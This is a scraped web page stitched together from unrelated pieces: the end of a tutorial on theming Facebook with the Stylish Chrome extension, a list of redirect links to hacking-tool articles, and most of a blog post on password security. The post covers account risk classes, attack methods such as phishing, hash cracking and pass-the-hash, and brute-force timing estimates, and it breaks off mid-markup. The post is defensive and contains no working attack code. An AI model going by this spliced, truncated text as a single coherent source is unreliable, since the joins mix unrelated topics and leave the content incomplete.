inherit; font-variant-numeric: inherit; line-height: inherit; margin: 0.3em auto 0.5em; max-width: 96%; padding: 5px 3px 10px; text-align: center; vertical-align: baseline; width: 997px;"> <a data-wpel-link="internal" href="https://techviral.net/wp-content/uploads/2016/02/Stylish-1-3.png" style="border: 0px; color: #3b5998; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; text-decoration-line: none; transition: color 0.25s ease-in; vertical-align: baseline;"><img alt="Change Facebook Theme Using Chrome Extension" class="size-full wp-image-41895" height="593" sizes="(max-width: 987px) 100vw, 987px" src="https://techviral.net/wp-content/uploads/2016/02/Stylish-1-3.png" srcset="https://techviral.net/wp-content/uploads/2016/02/Stylish-1-3.png 987w, https://techviral.net/wp-content/uploads/2016/02/Stylish-1-3-300x180.png 300w, https://techviral.net/wp-content/uploads/2016/02/Stylish-1-3-768x461.png 768w, https://techviral.net/wp-content/uploads/2016/02/Stylish-1-3-696x418.png 696w, https://techviral.net/wp-content/uploads/2016/02/Stylish-1-3-699x420.png 699w" style="border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; height: auto !important; line-height: inherit; margin: 0px; max-width: 100%; padding: 0px; vertical-align: baseline;" width="987" /></a><div class="wp-caption-text" style="border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; padding: 0px; vertical-align: baseline;"> Change Facebook Theme Using Chrome Extension</div> </div> <div style="background-color: white; border: 0px; color: #222222; font-family: Helvetica, Arial, sans-serif; font-size: 17px; font-stretch: inherit; font-variant-east-asian: inherit; font-variant-numeric: inherit; line-height: inherit; margin-bottom: 20px; padding: 0px; text-align: justify; vertical-align: baseline;"> <strong style="border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Step 2.</strong> Navigate to <strong style="border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Facebook.com</strong> and click on the S button. Click on <strong style="border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Find Styles for this Site</strong> to open a new tab with free themes to use for Facebook. Most of the themes are free and attractive too you can easily browse over the full website to discover your favorite theme.</div> <div class="wp-caption aligncenter" id="attachment_41897" style="background: rgb(255, 255, 255); border: 1px solid rgb(240, 240, 240); color: #222222; font-family: Helvetica, Arial, sans-serif; font-size: 17px; font-stretch: inherit; font-variant-east-asian: inherit; font-variant-numeric: inherit; line-height: inherit; margin: 0.3em auto 0.5em; max-width: 96%; padding: 5px 3px 10px; text-align: center; vertical-align: baseline; width: 421px;"> <a data-wpel-link="internal" href="https://techviral.net/wp-content/uploads/2016/02/Stylish-2-1.png" style="border: 0px; color: #3b5998; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; text-decoration-line: none; transition: color 0.25s ease-in; vertical-align: baseline;"><img alt="Change Facebook Theme Using Chrome Extension" class="size-full wp-image-41897" height="296" sizes="(max-width: 411px) 100vw, 411px" src="https://techviral.net/wp-content/uploads/2016/02/Stylish-2-1.png" srcset="https://techviral.net/wp-content/uploads/2016/02/Stylish-2-1.png 411w, https://techviral.net/wp-content/uploads/2016/02/Stylish-2-1-300x216.png 300w" style="border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; height: auto !important; line-height: inherit; margin: 0px; max-width: 100%; padding: 0px; vertical-align: baseline;" width="411" /></a><div class="wp-caption-text" style="border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; padding: 0px; vertical-align: baseline;"> Change Facebook Theme Using Chrome Extension</div> </div> <div style="background-color: white; border: 0px; color: #222222; font-family: Helvetica, Arial, sans-serif; font-size: 17px; font-stretch: inherit; font-variant-east-asian: inherit; font-variant-numeric: inherit; line-height: inherit; margin-bottom: 20px; padding: 0px; text-align: justify; vertical-align: baseline;"> <strong style="border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Step 3.</strong> Now You will be redirected towards <strong style="border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><a data-wpel-link="external" href="https://userstyles.org/" rel="nofollow external noopener noreferrer" style="border: 0px; color: #3b5998; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; text-decoration-line: none; transition: color 0.25s ease-in; vertical-align: baseline;" target="_blank">https://userstyles.org</a> </strong>Guess what! This site contains huge numbers of Facebook themes, One thing is for sure that you will be confused in-between what to select and which one to skip. Select any them and<strong style="border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> click</strong> on it. Now you will be given a full preview of your selected theme.</div> <div class="wp-caption aligncenter" id="attachment_41898" style="background: rgb(255, 255, 255); border: 1px solid rgb(240, 240, 240); color: #222222; font-family: Helvetica, Arial, sans-serif; font-size: 17px; font-stretch: inherit; font-variant-east-asian: inherit; font-variant-numeric: inherit; line-height: inherit; margin: 0.3em auto 0.5em; max-width: 96%; padding: 5px 3px 10px; text-align: center; vertical-align: baseline; width: 650px;"> <a data-wpel-link="internal" href="https://techviral.net/wp-content/uploads/2016/02/Stylish-3.png" style="border: 0px; color: #3b5998; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; text-decoration-line: none; transition: color 0.25s ease-in; vertical-align: baseline;"><img alt="Change Facebook Theme Using Chrome Extension" class="size-large wp-image-41898" height="366" sizes="(max-width: 640px) 100vw, 640px" src="https://techviral.net/wp-content/uploads/2016/02/Stylish-3-1024x586.png" srcset="https://techviral.net/wp-content/uploads/2016/02/Stylish-3-1024x586.png 1024w, https://techviral.net/wp-content/uploads/2016/02/Stylish-3-300x172.png 300w, https://techviral.net/wp-content/uploads/2016/02/Stylish-3-768x439.png 768w, https://techviral.net/wp-content/uploads/2016/02/Stylish-3-696x398.png 696w, https://techviral.net/wp-content/uploads/2016/02/Stylish-3-1068x611.png 1068w, https://techviral.net/wp-content/uploads/2016/02/Stylish-3-734x420.png 734w, https://techviral.net/wp-content/uploads/2016/02/Stylish-3.png 1082w" style="border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; height: auto !important; line-height: inherit; margin: 0px; max-width: 100%; padding: 0px; vertical-align: baseline;" width="640" /></a><div class="wp-caption-text" style="border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; padding: 0px; vertical-align: baseline;"> Change Facebook Theme Using Chrome Extension</div> </div> <div style="background-color: white; border: 0px; color: #222222; font-family: Helvetica, Arial, sans-serif; font-size: 17px; font-stretch: inherit; font-variant-east-asian: inherit; font-variant-numeric: inherit; line-height: inherit; margin-bottom: 20px; padding: 0px; text-align: justify; vertical-align: baseline;"> <strong style="border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Step 4.</strong> If everything is fine in the previewed theme, click on <strong style="border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Install with Stylish</strong> button at the top right corner of the page. It will take few seconds or minutes depends on your theme size to be installed in Stylish Extension, once installed you will be notified with a success message.</div> <div class="wp-caption aligncenter" id="attachment_41902" style="background: rgb(255, 255, 255); border: 1px solid rgb(240, 240, 240); color: #222222; font-family: Helvetica, Arial, sans-serif; font-size: 17px; font-stretch: inherit; font-variant-east-asian: inherit; font-variant-numeric: inherit; line-height: inherit; margin: 0.3em auto 0.5em; max-width: 96%; padding: 5px 3px 10px; text-align: center; vertical-align: baseline; width: 936px;"> <a data-wpel-link="internal" href="https://techviral.net/wp-content/uploads/2016/02/Stylish-4-2.png" style="border: 0px; color: #3b5998; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; text-decoration-line: none; transition: color 0.25s ease-in; vertical-align: baseline;"><img alt="Change Facebook Theme Using Chrome Extension" class="size-full wp-image-41902" height="505" sizes="(max-width: 926px) 100vw, 926px" src="https://techviral.net/wp-content/uploads/2016/02/Stylish-4-2.png" srcset="https://techviral.net/wp-content/uploads/2016/02/Stylish-4-2.png 926w, https://techviral.net/wp-content/uploads/2016/02/Stylish-4-2-300x164.png 300w, https://techviral.net/wp-content/uploads/2016/02/Stylish-4-2-768x419.png 768w, https://techviral.net/wp-content/uploads/2016/02/Stylish-4-2-696x380.png 696w, https://techviral.net/wp-content/uploads/2016/02/Stylish-4-2-770x420.png 770w" style="border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; height: auto !important; line-height: inherit; margin: 0px; max-width: 100%; padding: 0px; vertical-align: baseline;" width="926" /></a><div class="wp-caption-text" style="border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; padding: 0px; vertical-align: baseline;"> Change Facebook Theme Using Chrome Extension</div> </div> <div style="background-color: white; border: 0px; color: #222222; font-family: Helvetica, Arial, sans-serif; font-size: 17px; font-stretch: inherit; font-variant-east-asian: inherit; font-variant-numeric: inherit; line-height: inherit; margin-bottom: 20px; padding: 0px; text-align: justify; vertical-align: baseline;"> <strong style="border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Step 5.</strong> Now whenever you open Facebook, it will show the theme that you have installed with <strong style="border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Stylish</strong> instead of the boring old blue theme.</div> <div class="wp-caption aligncenter" id="attachment_41903" style="background: rgb(255, 255, 255); border: 1px solid rgb(240, 240, 240); color: #222222; font-family: Helvetica, Arial, sans-serif; font-size: 17px; font-stretch: inherit; font-variant-east-asian: inherit; font-variant-numeric: inherit; line-height: inherit; margin: 0.3em auto 0.5em; max-width: 96%; padding: 5px 3px 10px; text-align: center; vertical-align: baseline; width: 650px;"> <a data-wpel-link="internal" href="https://techviral.net/wp-content/uploads/2016/02/Stylish-5.png" style="border: 0px; color: #3b5998; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; padding: 0px; text-decoration-line: none; transition: color 0.25s ease-in; vertical-align: baseline;"><img alt="Change Facebook Theme Using Chrome Extension" class="size-large wp-image-41903" height="343" sizes="(max-width: 640px) 100vw, 640px" src="https://techviral.net/wp-content/uploads/2016/02/Stylish-5-1024x548.png" srcset="https://techviral.net/wp-content/uploads/2016/02/Stylish-5-1024x548.png 1024w, https://techviral.net/wp-content/uploads/2016/02/Stylish-5-300x161.png 300w, https://techviral.net/wp-content/uploads/2016/02/Stylish-5-768x411.png 768w, https://techviral.net/wp-content/uploads/2016/02/Stylish-5-696x372.png 696w, https://techviral.net/wp-content/uploads/2016/02/Stylish-5-1068x571.png 1068w, https://techviral.net/wp-content/uploads/2016/02/Stylish-5-785x420.png 785w, https://techviral.net/wp-content/uploads/2016/02/Stylish-5.png 1198w" style="border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; height: auto !important; line-height: inherit; margin: 0px; max-width: 100%; padding: 0px; vertical-align: baseline;" width="640" /></a><div class="wp-caption-text" style="border: 0px; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; padding: 0px; vertical-align: baseline;"> Change Facebook Theme Using Chrome Extension</div> </div> </div><strong>More articles</strong><br><ul><li> <a href="https://www.google.cc/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Famp.kitploit.com%2F2020%2F06%2Fhmmcookies-grab-cookies-from-firefox.html">Tools 4 Hack </a></li><li> <a href="https://www.google.pk/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fvideo.hacking.reviews%2F2020%2F08%2Fdef-con-safe-mode-blockchain-village.html">Pentest Box Tools Download </a></li><li> <a href="https://www.google.fm/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fexploit.kitploit.com%2F2020%2F08%2Fcar-rental-management-system-10-cross_7.html">Hack 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various attacks can only be prevented through different prevention methods. Password security is not simple. For real advise, checking the second post (in progress).<br /> <br /> Are you sick of password advices like "change your password regularly" or "if your password is password change it to pa$$w0rd"? This post is for you!<br /> <br /> The news sites are full of password advises nowadays due to recent breaches. When I read/watch <a href="https://www.youtube.com/watch?v=qz5i171h_no" target="_blank">these advise (especially on CNN</a>), I am usually pissed off for a lot of reasons. Some advises are terrible (<a href="https://xato.net/passwords/the-worst-password-tips/" target="_blank">a good collection is here</a>), some are good but without solutions, and others are better, but they don't explain the reasons. Following is my analysis of the problem. It works for me. It might not work for you. Comments are welcome!<br /> <br /> <h2> Password history</h2> Passwords have been used since <a href="http://en.wikipedia.org/wiki/Password#History_of_passwords" target="_blank">ancient times</a>.<br /> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxJjVMJARMQxv_rp9f_WVKa7SQsfXMF0JyrVbZxRZL0nkbNz2bPDOWH7M-I_CWVoR8lhhYszyRIVfHZeXVr9fIcC-_fUQPkIgK7AaXFaIYRyHAwHEzPS8JCiL1jV8gtbJHd9mMuA/s1600/15f1ae857ca97193ffff8102ffffd524.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="230" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxJjVMJARMQxv_rp9f_WVKa7SQsfXMF0JyrVbZxRZL0nkbNz2bPDOWH7M-I_CWVoR8lhhYszyRIVfHZeXVr9fIcC-_fUQPkIgK7AaXFaIYRyHAwHEzPS8JCiL1jV8gtbJHd9mMuA/s1600/15f1ae857ca97193ffff8102ffffd524.jpg" width="320" /></a></div> <br /> Because it is simple. When I started using <a href="http://seriesandtv.com/wp-content/uploads/2013/06/the-internet.png" target="_blank">the Internet</a>, I believe I had three passwords. Windows login, webmail, and IRC. Now I have ~250 accounts/passwords to different things, like to my smartphone, to my cable company (this password can be used to change the channels on the TV), to my online secure cloud storage, to full disk encryption to start my computer, <strike>to my nude pictures</strike>, to my WiFi router, to my cloud server hosting provider, etc etc etc. My money is protected with passwords, my communication is protected with passwords/encryption, my work is protected with passwords. It is pretty damn important. But yet people tend to choose lame passwords. Pretty lame ones. Because they don't think it can be significant. But what is not essential today will be relevant tomorrow. The service you used to download music (iTunes) with the lame password will one day protect all your Apple devices, where attackers can download your backup files, <a href="http://www.wired.com/2012/08/apple-amazon-mat-honan-hacking/all/" target="_blank">erase all your devices</a>, etc. <a href="http://lukenotricks.blogspot.nl/2010/03/8-characters-long-and-include-at-least.html" target="_blank">The seven-character and one capital rule is not enough anymore.</a> This advice is like PDF is safe to open, Java is secure. Old, outdated, untrue.<br /> <br /> Now, after this lengthy prologue, we will deep dive into the analysis of the problem, by checking what we want to protect, against whom (who is the attacker), and only after that, we can analyze the solutions. Travel with me, I promise it will be fun! ;)<br /> <br /> <h2> What to protect?</h2> <div> There are different services online, and various services need different ways to protect. You don't use the same lock on your <a href="https://www.youtube.com/watch?v=EJOIjQJAL30" target="_blank">Trabant</a> as you do on your <a href="https://www.youtube.com/watch?v=j82VKi8NNsM" target="_blank">BMW</a>.<br /> <br /></div> <div> <h3> Internet banking, online money</h3> <div> For me, this is the most vital service to protect. Luckily, most of the internet banking services use two-factor authentication (2FA), but unfortunately, not all of them offer <a href="http://en.wikipedia.org/wiki/Transaction_verification" target="_blank">transaction authorization/verification</a> with complete transactions. 2FA is not effective against malware, it just complicates the attack. Transaction authorization/verification is better, but not perfect (see <a href="http://www.kaspersky.com/about/news/virus/2011/Teamwork_How_the_ZitMo_Trojan_Bypasses_Online_Banking_Security" target="_blank">Zitmo</a>). If the access is not protected with 2FA, better choose the best password you have (long, real random, sophisticated, but we will get to this later). If it is protected with 2FA, it is still no reason not to use the best password ;) This is what I call the "very high-level password" class.<br /> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwoKKKQK6SMIpZ8VORJRIpJD8pMVicN1T0qyCNY40g4BTUBvCY5LbGnUaWJOjovQTYlwSfIJuFVX-1_rqWygeZVle1pp9-WYUv3omH-vmWUD3xr8J9s9nU3jPrASnwPFW3J57bxQ/s1600/one-does-not-simply_trust_paypal.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="212" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwoKKKQK6SMIpZ8VORJRIpJD8pMVicN1T0qyCNY40g4BTUBvCY5LbGnUaWJOjovQTYlwSfIJuFVX-1_rqWygeZVle1pp9-WYUv3omH-vmWUD3xr8J9s9nU3jPrASnwPFW3J57bxQ/s1600/one-does-not-simply_trust_paypal.png" width="320" /></a></div> <br /></div> <h3> Credit card data</h3> </div> <div> This system is pretty <strike>fucked up</strike> bad. Something has to be secret (your credit card number), but in the meantime that is the only thing to identify your credit card. It is like your username is your password. Pretty bad idea, huh? The problem is even worse with a <a href="https://twitter.com/mikko/status/236355251966468096" target="_blank">lot of different transaction types</a>, especially when the hotel asks you to fax both sides of your CC to them. Unfortunately, you can't change the password on your credit card, as there is no such thing, but <a href="http://en.wikipedia.org/wiki/3-D_Secure" target="_blank">Verified by VISA or 3-D Secure</a> with 2FA might increase the chances your credit card won't get hacked. And on a side note, I have removed the CVV numbers from my credit/debit cards. I only read it once from the card when I received it, I don't need it anymore to be printed there.<br /> And sometimes, <a href="https://twitter.com/NeedADebitCard" target="_blank">you are your own worst enemy.</a> Don't do stupid things like this:<br /> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEis4Ss89wz_FXePztbLmLSM1ZUUQYMTUFuCbBSSxir98XXt-V3PlyckPLy2E_PFKqgaPIg0GHQovrunVG194mI41yJIv8fHEIny0rG8kOviThjZAb2ecRk4E2AJjJYnPr8xZjMjeg/s1600/BgUWxYLCYAEkMQ6.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEis4Ss89wz_FXePztbLmLSM1ZUUQYMTUFuCbBSSxir98XXt-V3PlyckPLy2E_PFKqgaPIg0GHQovrunVG194mI41yJIv8fHEIny0rG8kOviThjZAb2ecRk4E2AJjJYnPr8xZjMjeg/s1600/BgUWxYLCYAEkMQ6.jpg" width="320" /></a></div> <br /></div> <h3> </h3> <h3> Work related passwords (e.g. Windows domain)</h3> <div> This is very important, but because the attack methods are a bit different, I created this as a different category. Details later.<br /> <br /></div> <h3> Email, social sites (Gmail/Facebook/Twitter), cloud storage, online shopping</h3> <div> This is what I call the "high level password" class.</div> <div> Still, pretty important passwords. Some people don't understand "why would attackers put any energy to get his Facebook account?" It is simple. For money. They can use your account to spread spam all over your Facebook wall. They can write messages to all of your connections and tell them you are in trouble and send money via Western Union or Bitcoin.<br /> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJxrIL1N6x9IV3cdMb9xL5o8cQXa1cmzQkGLzE2kAcaCoj458DnuLHQK6cwPFmiDzyM_HdIEdihaTKVj_aQiF_kJZxCzswJfwZ8LDbCnUWDvRcCA8R97LSt_XYAkjdVkTTNXDBvw/s1600/facebook-scam-travel1.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJxrIL1N6x9IV3cdMb9xL5o8cQXa1cmzQkGLzE2kAcaCoj458DnuLHQK6cwPFmiDzyM_HdIEdihaTKVj_aQiF_kJZxCzswJfwZ8LDbCnUWDvRcCA8R97LSt_XYAkjdVkTTNXDBvw/s1600/facebook-scam-travel1.jpg" /></a></div> <br /> They can use your account in Facebook votes. Your e-mail, cloud storage is again very important. 20 years ago you also had letters you didn't want to print and put in front of the nearest store, neither want you to do that with your private photo album. On a side note, it is best to use a cloud storage where even the <a href="https://tresorit.com/" target="_blank">cloud provider admin can't access your data.</a> But in this case, with no password recovery option, better think about "alternative" password recovery mechanisms.<br /> <br /></div> <h3> </h3> <h3> Other important stuff with personal data (e.g. your name, home address)</h3> <div> The "medium level password" class. This is a personal preference to have this class or not, but in the long run, I believe it is not a waste of energy to protect these accounts. These sites include your favorite pizza delivery service, your local PC store, etc.<br /> <br /></div> <h3> </h3> <h3> Not important stuff</h3> This is the category other. I usually use <a href="https://www.google.com/?q=one+time+disposable+email+service#q=one+time+disposable+email+service" target="_blank">one-time disposable e-mail</a> to these services. Used for the registration, get what I want, drop the email account. Because I don't want to spread my e-mail address all over the internet, whenever one of these sites get hacked. But still, I prefer to use different, random passwords on these sites, although this is the "low level password" class.<br /> <h2> </h2> <h2> Attackers and attack methods</h2> After categorizing the different passwords to be protected, let's look at the different attackers and attack methods. They can/will/or actively doing it now:<br /> <br /> <h3> </h3> <h3> </h3> <h3> Attacking the clear text password </h3> This is the most effective way of getting the password. Bad news is that if there is no other factor of protection, the victim is definitely not on the winning side. The different attack methods are:<br /> <br /> <ul> <li>phishing sites/applications,</li> </ul> <div> <br /></div> <div class="separator" style="clear: both; text-align: center;"> </div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifE0DdS3e79O2XlAXL5uZfUIdJFDT9-RWIEGskEv6XESsw6z3wkmzK-gsauxoZwiEvEAUW7N0NhcOYlGljKkRVK2Urxh7QDc9pFi_gDn-GFjcEImrTbDTgM_xiHpiLToUtEwo6nw/s1600/World-of-Tanks-Hack-5.0.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="330" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifE0DdS3e79O2XlAXL5uZfUIdJFDT9-RWIEGskEv6XESsw6z3wkmzK-gsauxoZwiEvEAUW7N0NhcOYlGljKkRVK2Urxh7QDc9pFi_gDn-GFjcEImrTbDTgM_xiHpiLToUtEwo6nw/s1600/World-of-Tanks-Hack-5.0.jpg" width="400" /></a></div> <div> <br /></div> <ul> <li><a href="http://beta.gadgetzz.com/2011/08/15/this-is-the-best-ever-how-a-13-year-old-tried-to-hack-a-steam-account-and-got-hacked/" target="_blank">social engineering,</a></li> <li>malware running on the computer (or <a href="http://www.computerworld.com/article/2492866/desktop-apps/researcher-to-demonstrate-feature-rich-malware-that-works-as-a-browser-extension.html" target="_blank">in the browser</a>), </li> <li><a href="https://www.youtube.com/watch?v=t9BxB3dO0KQ" target="_blank">shoulder surfing</a> (check out for smartphones, hidden cameras), </li> <li>sniffing clear-text passwords when the website is not protected with SSL,</li> <li><a href="http://www.hacking-tutorial.com/hacking-tutorial/break-ssl-protection-using-sslstrip-and-backtrack-5/" target="_blank">SSL MiTM</a>,</li> <li>rogue website administrator/hacker logging clear text passwords,</li> <li>password reuse - if the attacker can get your password in any way, and you reuse it somewhere else, that is a problem,</li> <li>you told your password to someone and he/she will misuse it later,</li> <li><a href="http://www.keyghost.com/USB-Keylogger.htm" target="_blank">hardware keyloggers,</a></li> <li>etc.</li> </ul> <br /> The key thing here is that no matter how long your passwords are, no matter how complex it is, no matter how often do you change it (except when you do this every minute ... ), if it is stolen, you are screwed. 2FA might save you, or might not.<br /> <br /> <h3> </h3> <h3> </h3> <h3> Attacking the encrypted password </h3> This is the usual "hack the webserver (via SQL injection), dump the passwords (with SQLMap), post hashes on pastebin, everybody <a href="http://www.networkworld.com/article/2172637/lan-wan/nvidia-exploit-could-turn-render-farms-into-password-crackers--bitcoin-miners--researchers-c.html" target="_blank">starts the GPU farm</a> to crack the hashes" scenario. This is basically the only scenario where the password policies makes sense. In this case the different level of passwords need different protection levels. In some cases, this attack turns out to be the same as the previous attack, when the passwords are not hashed, or are just encoded.<br /> <br /> The current hash cracking speeds for hashes without any iterations (this is unfortunately very common) renders passwords like Q@tCB3nx (8 character, upper-lowercase, digit, special characters) useless, as those can be cracked in hours. Don't believe me? Let's do the math.<br /> <br /> Let's say your password is truly random, and randomly choosen from the 26 upper, 26 lower, 10 digit, 33 special characters. (Once I tried special passwords with high ANSI characters inside. It is a terrible idea. Believe me.). There are 6 634 204 312 890 620 different, 8 character passwords from these characters. Assuming a <a href="http://passwords12.at.ifi.uio.no/Jeremi_Gosney_Password_Cracking_HPC_Passwords12.pdf" target="_blank">2 years-old password cracking rig</a>, and MD5 hash cracking with 180 G/s speed, it takes a worst case 10 hours (average 5) to crack the password, <strike>including upgrading your bash to the latest, but still vulnerable bash version.</strike> Had the password been 10 characters long, it would take 10 years to crack with today hardware. But if the password is not truly random, <a href="http://arstechnica.com/security/2013/05/how-crackers-make-minced-meat-out-of-your-passwords/" target="_blank">it can be cracked a lot sooner</a>. <br /> <br /> A lot of common hashing algorithms don't use protections against offline brute-force attacks. This includes LM (old Windows hashes), NTLM (modern Windows hashes), MD-5, SHA1-2-512. These hashing algorithms were not developed for password hashing. They don't have salting, iterations, etc. out of the box. In the case of LM, the problem is even worse, as it converts the lowercase characters to uppercase ones, thus radically decreasing the key space. Out of the box, these hashes are made for fast calculation, thus support fast brute-force.<br /> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvrqa4194gvxcIcs1tmoHz3EAkz1_jhYYUCqo3bISIRYqGr78UbLBm3XAMhmsaZFFKPYE9b64nh7Bz5IC46DLpIdXgCbrg8HFDQS0nT7SJXsLqzL01yMcdFFE4QJj9U7q5xCT3-A/s1600/rig.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="239" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvrqa4194gvxcIcs1tmoHz3EAkz1_jhYYUCqo3bISIRYqGr78UbLBm3XAMhmsaZFFKPYE9b64nh7Bz5IC46DLpIdXgCbrg8HFDQS0nT7SJXsLqzL01yMcdFFE4QJj9U7q5xCT3-A/s1600/rig.png" width="320" /></a></div> <br /> Another attack is when the protected thing is not an online service, but rather an encrypted file or crypto-currency wallet.<br /> <br /> <h3> </h3> <h3> </h3> <h3> Attacking the authentication system online</h3> <div> This is what happened in the recent iCloud hack (besides phishing). Attackers were attacking the authentication system, by either brute-forcing the password, or bypassing the password security by answering the security question. Good passwords can not be brute-forced, as it takes ages. Good security answers have nothing to do with the question in first place. A good security answer is as hard to guess as the password itself. If password recovery requires manual phone calls, I know, it is a bit awkward to say that your first dog name was Xjg.2m`4cJw:V2= , but on the other hand, no one will guess that!<br /> <br /></div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyzzE2Vs3e3cSyFY7xOBXh98MIEY3oJUyvXL0X_pArPqBa79u7Kd1GGZkyJzsvsn3OGMZUC8LJNp5vyj1L1lWHqOHIrHr1SrBNvyQpXz5eHdPARJ48q2a108in1Mu_oA5BBzr7jA/s1600/sec_questions.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="196" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyzzE2Vs3e3cSyFY7xOBXh98MIEY3oJUyvXL0X_pArPqBa79u7Kd1GGZkyJzsvsn3OGMZUC8LJNp5vyj1L1lWHqOHIrHr1SrBNvyQpXz5eHdPARJ48q2a108in1Mu_oA5BBzr7jA/s1600/sec_questions.png" width="320" /></a></div> <div> <br /></div> <div> <h3> </h3> <h3> Attacking single sign on</h3> </div> <div> This type of attack is a bit different, as I was not able to put the "<a href="http://en.wikipedia.org/wiki/Pass_the_hash" target="_blank">pass the hash</a>" attacks anywhere. Pass the hash attack is usually found in Windows domain environments, but others might be affected as well. The key thing is single sign on. If you can login to one system (e.g. your workstation), and access many different network resources (file share, printer, web proxy, e-mail, etc.) without providing any password, then something (a secret) has to be in the memory which can be used to to authenticate to the services. If an attacker can access this secret, he will be able to access all these services. The key thing is (again) it does not matter, how complex your passwords are, how long it is, how often do you change, as someone can easily misuse that secret.<br /> <br /></div> <div class="separator" style="clear: both; text-align: center;"> </div> <div class="separator" style="clear: both; text-align: center;"> </div> <div class="separator" style="clear: both; text-align: center;"> </div> <div class="separator" style="clear: both; text-align: center;"> </div> <div class="separator" style="clear: both; text-align: center;"> <a 